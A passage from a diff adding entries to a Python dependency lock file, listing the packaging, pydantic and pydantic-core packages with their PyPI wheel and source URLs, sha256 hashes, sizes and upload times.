+    { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.13.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-types" },
+    { name = "pydantic-core" },
+    { name = "typing-extensions" },
+    { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.46.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
+    { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" },
+    { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" },
+    { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" },
+    { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" },
+    { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3", size = 2165122, upload-time = "2026-05-06T13:37:01.167Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/52/7c529d7bdb2d1068bd52f51fe32572c8301f9a4febf1948f10639f1436f5/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848", size = 2182573, upload-time = "2026-05-06T13:38:45.04Z" },
+    { url = "https://files.pythonhosted.org/packages/37/b3/7c40325848ba78247f2812dcf9c7274e38cd801820ca6dd9fe63bcfb0eb4/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3", size = 2317139, upload-time = "2026-05-06T13:37:15.539Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/37/f913f81a657c865b75da6c0dbed79876073c2a43b5bd9edbe8da785e4d49/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109", size = 2360433, upload-time = "2026-05-06T13:37:30.099Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/67/6acaa1be2567f9256b056d8477158cac7240813956ce86e49deae8e173b4/pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda", size = 1985513, upload-time = "2026-05-06T13:38:15.669Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/e6/c505f83dfeda9a2e5c995cfd872949e4d05e12f7feb3dca72f633daefa94/pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33", size = 2071114, upload-time = "2026-05-06T13:40:35.416Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/da/7a263a96d965d9d0df5e8de8a475f33495451117035b09acb110288c381f/pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d", size = 2044298, upload-time = "2026-05-06T13:38:29.754Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" },
+    { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" },
+    { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" },
+    { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" },
+    { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" },
+    { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" },
+    { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" },
+    { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" },
+    { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" },
+    { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" },
+    { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" },
+    { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" },
+    { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" },
+    { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" },
+    { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" },
+    { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" },
+    { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" },
+    { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" },
+    { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" },
+    { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" },
+    { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" },
+    { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" },
+    { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" },
+    { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" },
+    { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" },
